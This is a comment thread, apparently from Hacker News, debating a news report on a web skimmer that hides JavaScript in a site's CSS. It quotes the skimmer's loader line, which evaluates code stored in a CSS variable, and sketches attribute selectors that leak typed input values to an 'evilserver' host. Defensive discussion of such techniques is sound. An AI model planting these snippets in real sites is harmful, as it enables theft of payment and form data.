Hackers hide web skimmer inside a website's CSS
zdnet.com
zdnet.com
CSS here is only used to hide the URL from security checkers, but a JavaScript part is still needed.
CSS alone can’t run scripts nor send the content of an input field.
No it's not, it's just rare that you'd have the ability to inject CSS but not JS.
A core skill of hacking is being able to see through the things people would normally see as "hassle" or "friction" to the reductionist "what keys do I have to press on the machine in what order to make this happen".
For credit card numbers that means that you’ll miss at least 4 digits and you won’t know their position among 16. I’m not gonna do the math but that’s a few times more than 10000 guesses necessary to find the final number.
Yeah, the problem isn't CSS, them problem is whoever thought that was a good idea. Now XSS is a "feature" of CSS.
> One of the recent additions to the CSS language was a feature that would allow it to load and run JavaScript code from within a CSS rule.
What in the actual fuck?!?
Then, looking at the actual code:
<script type="text/javascript" xml="space">// <![CDATA[
new Function(getComputedStyle(document.documentElement)?.getPropertyValue('--script'))();
...
Okay, just accessing some random CSS variable from a script tag.I wish tech journalists could ask someone with technical knowledge to double check before parroting hyped BS like this.
If the article ever had the quote you included, it appears to have been removed and replaced with a fairly thorough explanation of what’s actually happening. (Perhaps the link has been changed?)
Just to be clear, this would’ve worked decades ago. There’s no inherent need to use CSS3 variables for this. It could’ve just as easily been hidden in a normal property.
https://www.zdnet.com/article/unsecured-mongodb-databases-ex...
You’d think that basic critical thinking would keep anyone from putting their name on this story.
> Is this some pattern with a popular JS framework?
I've never seen this anywhere before, JS grabbing values from CSS, but I mostly done ClojureScript development for the last 2 years.
It may have access to the window object, however, so if something important is there, if can probably mess with that.
> why would you eval() CSS?
It’s really as simple as “because you can”. This is just an obfuscation technique.
So, the hackers need to have access both to CSS and HTML to put the malicious JS that looks innocent in the HTML and load the malicious JS from the CSS.
Now it makes sense, thanks.
Older browsers used to have lots of ways to execute js from css (e.g. expression()) but all the browser vendors realized that that was terrible and are careful not to allow it. Most modern pure css attacks (in general, not what this article is about) involve loading different background images based on page content to exfiltrate secrets.
(To be clear, not dissing on CSP, its great, but it can't stop all attacks)
Now if script-src CSP prevented the script tag part of this attack, that would be a good thing CSP can potentially do (depending on what type of access attacker had).
A good CSP would have protected against most injection attacks though (as long as the JS files have not been modified).
CSP is great for blocking XSS and other such attacks, but I don't think it can be an effective defence in this particular attack. The only way I can think of to get CSP to protect you is to host no JS on the server itself, configure some kind of proxy (Cloudflare?) and inject CSP config there. An attacker could still compromise the website but they'd need to escalate their attack to the point of a DNS takeover or add a noticeable redirect to an attacker-controlled skimming page, both of which aren't very likely to be used against random targets like these web shops often are.
CSP is usually added as an afterthought and after the fact of an attack. Yes, it's great at weeding out XSS, but it's a grossly underused and underimplemented feature.
'behavior' was commonly used to fix some PNG-transparancy issues in early IE versions (pngfix.htc) and 'expression' was a much more powerful (and dangerous) version of current 'calc'.
input[value~="12"] { background-image: url(http://evilserver/12); }
input[value~="13"] { background-image: url(http://evilserver/13); }
It's just a rough idea, but there are numerous methods to dynamically leak information through CSS.[1]: https://www.nerdydata.com/reports/cloud-iq-net/b9f4d0cc-a686...
You can search those marketplaces like any other store: "I want a Visa card from a guy in Florida".
Wary as I am to attribute to malice what can be explained by incompetent journalism, the fact that Sanguine Security are mentioned by name in the article, and their website directly linked to, makes me think this must be a paid marketing piece. The article also seems to imply that Willem de Groot is the person describing this "feature" as a modern addition to the CSS spec (it isn't any such thing).
There is no such feature, this attack uses JS eval normally and does not rely on anything special in CSS the language. There isn't anywhere near enough novelty here to describe this as anything distinct from any other old-fashioned XSS.
Flagged.
And, just to clarify, by "work with him" I mean that he hit me up and we chatted while looking at the code and I suggested that some other code might be just using CSS as a storage place, not that I was paid or have ever been paid by him.
edit:
anything distinct from any other old-fashioned XSS.
This isn't XSS in any way, shape, or form.The article does a poor job.
My assessment of this as marketing is going on the content of the article which attributes obvious misinformation to Sanguine Security; if it is not the case, I'd recommend Willem request a retraction/correction/clarification.
XSS mainly takes two forms:
Non-persisted / reflected is the most common: An example of this: A webpage has a vulnerable URL parameter that doesn't sanitize the data. ex: http://example.com/?username=<data>
Instead of removing HTML/etc from that username parameter, it just writes it to the page, so I can then send you a malicious link for a site that you're familiar with and get the code to execute in your browser.
Stored/Persistent: Example: a social media site. If it didn't properly sanitize your posts, you could store malicious code as part of one of your posts and then anyone who saw that post would execute your code. Now, if you were clever, you would then make a post using their account and have it propagate your XSS and now you've created an XSS worm.
Your comment makes no mention of the specifics in the article and you've instead given me a (rather patronising) generic definition of XSS. I know what XSS is, and the mechanisms of compromise in its various forms. What I don't know is the detail of how this specific exploit is different.
It would be so much better if I could click a payment link that opens an external wallet software like "mailto:" links, verify the amount it proposes to transfer, and click "send" to send the money at the prefilled address instead of allowing someone to take it.
I really hope that one day, we'll tell our grandkids about that time where we were giving secret codes on the internet and anyone having them could take money on our account as they wish, and those kids will think we're delirious.
It's already how MobilePay works in Denmark. You give the website your phone number, and a prompt pops up on your phone screen to approve the transfer, with an amount, in a native (trusted) app.
Crypto doesn't add anything here.
So does UPI in India. Banking transactions ask for my credentials on the bank website (after a redirect).
None of this needs cryptocoins.
I'm glad that you found a problem for your solution.
If your problem is the bank’s app something like PSD2 will solve this by allowing you to connect to the bank directly and having your own app, right?
If they steal your crypto it's buh-bye.
The Lazarus group from North Korea actually did some of the earliest ones I saw, because they love themselves some bitcoin.